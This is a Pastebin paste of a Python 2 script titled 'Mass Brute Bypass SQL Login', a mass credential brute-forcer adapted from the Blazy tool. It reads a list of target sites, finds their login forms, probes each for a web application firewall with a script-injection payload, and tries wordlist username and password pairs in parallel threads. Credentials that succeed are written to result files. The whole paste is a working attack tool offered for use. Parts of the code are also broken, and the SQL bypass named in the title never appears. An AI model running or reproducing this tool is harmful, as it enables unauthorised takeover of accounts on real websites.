ToKeiChun

Mass Brute Bypass SQL Login [dirty code version]

Feb 8th, 2021
2,026
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 14.15 KB | None | 0 0
  1. import requests, os, sys
  2. import mechanize
  3. import cookielib
  4. import warnings
  5. from threading import *
  6. from threading import Thread
  7. from ConfigParser import ConfigParser
  8. from Queue import Queue
  9. from bs4 import BeautifulSoup
  10. from re import search, findall
  11. from urllib import urlopen
  12. from urllib2 import URLError
  13. from fake_useragent import UserAgent
  14. from concurrent.futures import ThreadPoolExecutor
  15.  
  16. ua = UserAgent()
  17. ua = UserAgent(cache=False)
  18. #Stuff related to Mechanize browser module
  19. br = mechanize.Browser() #Shortening the call by assigning it to a varaible "br"
  20. # set cookies
  21. cookies = cookielib.LWPCookieJar()
  22. br.set_cookiejar(cookies)
  23. # Mechanize settings
  24. br.set_handle_equiv(True)
  25. br.set_handle_redirect(True)
  26. br.set_handle_referer(True)
  27. br.set_handle_robots(False)
  28. br.set_debug_http(False)
  29. br.set_debug_responses(False)
  30. br.set_debug_redirects(False)
  31. br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time = 1)
  32. br.addheaders = [('User-agent', ua.random),('Accept','text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'),('Accept-Encoding','br')]
  33. # Source : https://github.com/s0md3v/Blazy
  34.  
  35. config = '.session_RESTORE'
  36.  
  37. class Worker(Thread):
  38.     def __init__(self, tasks):
  39.         Thread.__init__(self)
  40.         self.tasks = tasks
  41.         self.daemon = False
  42.         self.start()
  43.  
  44.     def run(self):
  45.         while True:
  46.             func, args, kargs = self.tasks.get()
  47.             try:
  48.                 func(*args, **kargs)
  49.             except Exception, e:
  50.                 rootLogger.error(e)
  51.             finally:
  52.                 self.tasks.task_done()
  53.  
  54. class ThreadPool:
  55.     def __init__(self, num_threads):
  56.         self.tasks = Queue(num_threads)
  57.         for _ in range(num_threads): Worker(self.tasks)
  58.  
  59.     def add_task(self, func, *args, **kargs):
  60.         self.tasks.put((func, args, kargs))
  61.  
  62.     def wait_completion(self):
  63.         self.tasks.join()
  64.  
  65. def main(url):
  66.     try:
  67.         try:
  68.             br.open(url, timeout=10.0) #Opens the url
  69.         except URLError as e:
  70.             pass
  71.         forms = br.forms() #Finds all the forms present in webpage
  72.        
  73.         headers = str(urlopen(url).headers.headers).lower() #Fetches headers of webpage
  74.         if 'x-frame-options:' not in headers:
  75.             print '\033[1;32m[+]\033[0m Heuristic found a Clickjacking Vulnerability [ %s ]' % url
  76.         if 'cloudflare-nginx' in headers:
  77.             print '\033[1;31m[-]\033[0m Target is protected by Cloudflare [ %s ]' % url
  78.         data = br.open(url).read() #Reads the response
  79.         if 'type="hidden"' not in data:
  80.             print '\033[1;32m[+]\033[0m Heuristic found a CSRF Vulnerability [ %s ]' % url
  81.        
  82.         soup =  BeautifulSoup(data, 'html.parser',from_encoding="iso-8859-1") #Pareses the response with beuatiful soup
  83.         i_title = soup.find('title') #finds the title tag
  84.         if i_title != None:
  85.             original = i_title.contents #value of title tag is assigned to 'original'
  86.        
  87.         def WAF_detector(): #WAF detection function
  88.             noise = "?=<script>alert()</script>" #a payload which is noisy enough to provoke the WAF
  89.             fuzz = url + noise
  90.             res1 = urlopen(fuzz) #Opens the noise injected payload
  91.             if res1.code == 406 or res1.code == 501: #if the http response code is 406/501
  92.                 print"\033[1;31m[-]\033[1;m WAF Detected : Mod_Security"
  93.             elif res1.code == 999: #if the http response code is 999
  94.                 print"\033[1;31m[-]\033[1;m WAF Detected : WebKnight"
  95.             elif res1.code == 419: #if the http response code is 419
  96.                 print"\033[1;31m[-]\033[1;m WAF Detected : F5 BIG IP"
  97.             elif res1.code == 403: #if the http response code is 403
  98.                 print "\033[1;31m[-]\033[1;m Unknown WAF Detected"
  99.         WAF_detector()
  100.        
  101.         def wordlist_u(lst): #Loads usernames from usernames.txt
  102.             try:
  103.                 with open('lib/usernames.txt','r') as f:
  104.                     for line in f:
  105.                         final = str(line.replace("\n",""))
  106.                         lst.append(final)
  107.             except IOError:
  108.                 print "\033[1;31m[-]\033[1;m Wordlist not found!"
  109.                 quit()
  110.         def wordlist_p(lst): #Loads passwords from passwords.txt
  111.             try:
  112.                 with open('lib/passwords.txt','r') as f:
  113.                     for line in f:
  114.                         final = str(line.replace("\n",""))
  115.                         lst.append(final)
  116.             except IOError:
  117.                 print"\033[1;31m[-]\033[1;m Wordlist not found!"
  118.                 quit()
  119.         usernames = []
  120.         wordlist_u(usernames)
  121.         print '\033[1;97m[>]\033[1;m Usernames loaded: %i'% len(usernames)
  122.         passwords = []
  123.         wordlist_p(passwords)
  124.         print '\033[1;97m[>]\033[1;m Passwords loaded: %i'% + len(passwords)
  125.         def find(): #Function for finding forms
  126.             try:
  127.                 form_number = 0
  128.                 for f in forms: #Finds all the forms in the webpage
  129.                     data = str(f) #Converts the response recieved to string
  130.                     username = search(r'<TextControl\([^<]*=\)>', data) #Searches for fields that accept plain text
  131.            
  132.                     if username: #if such field is found
  133.                         username = (username.group().split('<TextControl(')[1][:-3]) #Extractst the name of field
  134.                         print '\033[1;33m[!]\033[0m Username field: ' + username #prints name of field
  135.                         passwd = search(r'<PasswordControl\([^<]*=\)>', data) #Searchs for fields that accept password like text
  136.            
  137.                         if passwd: #if such field is found
  138.                             passwd = (passwd.group().split('<PasswordControl(')[1][:-3]) #Extracts the field name
  139.                             print '\033[1;33m[!]\033[0m Password field: ' + passwd #prints name of field
  140.                             select_n = search(r'SelectControl\([^<]*=', data) #checks for other selectable menus in form
  141.              
  142.                             if select_n: #if a menu is found
  143.                                 name = (select_n.group().split('(')[1][:-1]) #Extracts the menu name
  144.                                 select_o = search(r'SelectControl\([^<]*=[^<]*\)>', data) #select_o is the name of menu
  145.            
  146.                                 if select_o: #Proceeds to find options of menu
  147.                                     menu = "True" #Sets the menu to be true
  148.                                     options = (select_o.group().split('=')[1][:-1]) #Extracts options
  149.                                     print '\n\033[1;33m[!]\033[0m A drop down menu detected.'
  150.                                     print '\033[1;33m[!]\033[0m Menu name: ' + name #prints menu name
  151.                                     print '\033[1;33m[!]\033[0m Options available: ' + options #prints available options
  152.                                     with ThreadPoolExecutor(max_workers=1) as executor:
  153.                                         aaaaa = brute(username, passwd, menu, options[0], name, form_number)
  154.                                         task1 = executor.submit(aaaaa)
  155.                                 else:
  156.                                     menu = "False" #No menu is present in the form
  157.                                     try:
  158.                                         with ThreadPoolExecutor(max_workers=1) as executor:
  159.                                             bbbbb = brute(username, passwd, menu, option, name, form_number)
  160.                                             task2 = executor.submit(bbbbb)
  161.                                     except Exception as e:
  162.                                         cannotUseBruteForce(username, e)
  163.                                         pass                            
  164.                             else:
  165.                                 menu = "False" #No menu is present in the form
  166.                                 option = "" #Sets option to null
  167.                                 name = "" #Sets name to null
  168.                                 try:
  169.                                     brute(username, passwd, menu, option, name, form_number) #Calls the bruteforce function
  170.                                 except Exception as e:
  171.                                    cannotUseBruteForce(username, e)
  172.                                    pass
  173.                         else:
  174.                             form_number = form_number + 1
  175.                             pass
  176.                     else:
  177.                         form_number = form_number + 1
  178.                         pass
  179.                 print '\033[1;31m[-]\033[0m No forms found at %s' % url
  180.             except Exception as e:
  181.                 print('Error: '+e)
  182.            
  183.         def cannotUseBruteForce(username, e):
  184.             print '\r\033[1;31m[!]\033[0m Cannot use brute force with user %s [ %s ]' % (username,url)
  185.             print '\r    [Error: %s]' % e.message    
  186.         def brute(username, passwd, menu, option, name, form_number):
  187.             for uname in usernames:
  188.                 progress = 1
  189.                 print '\033[1;97m[>]\033[1;m Bruteforcing username: %s  [ %s ]'% (uname, url)
  190.                 for password in passwords:
  191.                     sys.stdout.write('\r\033[1;97m[>]\033[1;m Passwords tried: %i / %i'% (progress, len(passwords)))
  192.                     sys.stdout.flush()
  193.                     br.open(url)  
  194.                     br.select_form(nr=form_number)
  195.                     br.form[username] = uname
  196.                     br.form[passwd] = password
  197.                     if menu == "False":
  198.                         pass
  199.                     elif menu == "True":
  200.                         br.form[name] = [option]
  201.                     else:
  202.                         pass
  203.                     resp = br.submit()
  204.                     data = resp.read()
  205.                     datareal = data
  206.                     data_low = data.lower()
  207.                     if 'or password' in data_low or 'password or' in data_low or 'login failed' in data_low or 'login invalid' in data_low:
  208.                         pass
  209.                     else:
  210.                         soup =  BeautifulSoup(data, 'html.parser',from_encoding="iso-8859-1")
  211.                         i_title = soup.find('title')
  212.                         if i_title == None:
  213.                             if 'logout' in data_low:
  214.                                 print '\n\033[1;32m[+]\033[0m Valid credentials found: [ %s ]' % url
  215.                                 print uname
  216.                                 print password
  217.                                 open('RESULT/LOGINSUCCESS_logout.txt', 'a').write(url+"|"+uname+"|"+password+"\n")
  218.                                 quit()
  219.                             elif username not in datareal:
  220.                                 print '\n\033[1;32m[+]\033[0m Valid credentials found: [ %s ]' % url
  221.                                 print uname
  222.                                 print password
  223.                                 open('RESULT/LOGINSUCCESS_noforms.txt', 'a').write(url+"|"+uname+"|"+password+"\n")
  224.                                 quit()
  225.                             else:
  226.                                 pass
  227.                         else:
  228.                             injected = i_title.contents
  229.                             if original != injected:
  230.                                 if 'window.location.href' in data_low or username in datareal or 'failed' in datareal or 'incorrect' in datareal or 'invalid' in datareal:
  231.                                     pass
  232.                                 else:
  233.                                     print '\n\033[1;32m[+]\033[0m Valid credentials found: [ %s ]' % url
  234.                                     print '\033[1;32mUsername: \033[0m' + uname
  235.                                     print '\033[1;32mPassword: \033[0m' + password
  236.                                     open('RESULT/LOGINSUCCESS_redirect.txt', 'a').write(url+"|"+uname+"|"+password+"\n")
  237.                                     quit()
  238.                             else:
  239.                                 pass
  240.                     progress = progress + 1
  241.                 print ''
  242.             print '\033[1;31m[-]\033[0m Failed to crack login credentials'
  243.         find()
  244.     except Exception as e:
  245.         pass
  246.  
  247. if __name__ == '__main__':
  248.     try:
  249.         mainconfig = ConfigParser()
  250.         mainconfig.read(config)
  251.         lists = mainconfig.get('DB', 'FILES')
  252.         numthread = mainconfig.get('DB', 'THREAD')
  253.         sessi = mainconfig.get('DB', 'SESSION')
  254.         print("LOG Session Exist! Restore Session")
  255.         print('Configuration Details :\n\tList : '+lists+'\n\tThread Number : '+numthread+'\n\tSession :'+sessi)
  256.         tanya = raw_input("Continue Previous Session? [ Y / N ] ")
  257.         if "Y" in tanya or "y" in tanya:
  258.             lerr = open(lists).read().split("\n"+sessi)[1]
  259.             readsplit = lerr.splitlines()
  260.         else:
  261.             werror
  262.     except:
  263.         try:
  264.             lists = sys.argv[1]
  265.             numthread = sys.argv[2]
  266.             readsplit = open(lists).read().splitlines()
  267.         except:
  268.             try:
  269.                 lists = sys.argv[1]
  270.                 readsplit = open(lists).read().splitlines()
  271.             except:
  272.                 print("Wrong input or list not found!")
  273.                 exit()
  274.             try:
  275.                 numthread = raw_input("threads ? ")
  276.             except:
  277.                 print("Wrong thread number!")
  278.                 exit()
  279.     pool = ThreadPool(int(numthread))
  280.     for url in readsplit:
  281.         if "://" in url:
  282.             url = url
  283.         else:
  284.             url = "http://"+url
  285.         if url.endswith('/'):
  286.             url = url
  287.         jagases = url
  288.         try:
  289.             pool.add_task(main, url)
  290.         except KeyboardInterrupt:
  291.             session = open(config, 'w')
  292.             cfgsession = "[DB]\nFILES="+lists+"\nTHREAD="+str(numthread)+"\nSESSION="+jagases+"\n"
  293.             session.write(cfgsession)
  294.             session.close()
  295.             print("CTRL+C Detect, Session saved")
  296.             exit()
  297.     pool.wait_completion()
  298.     try:
  299.         os.remove(config)
  300.     except:
  301.         pass
  302.  
Add Comment
Please, Sign In to add comment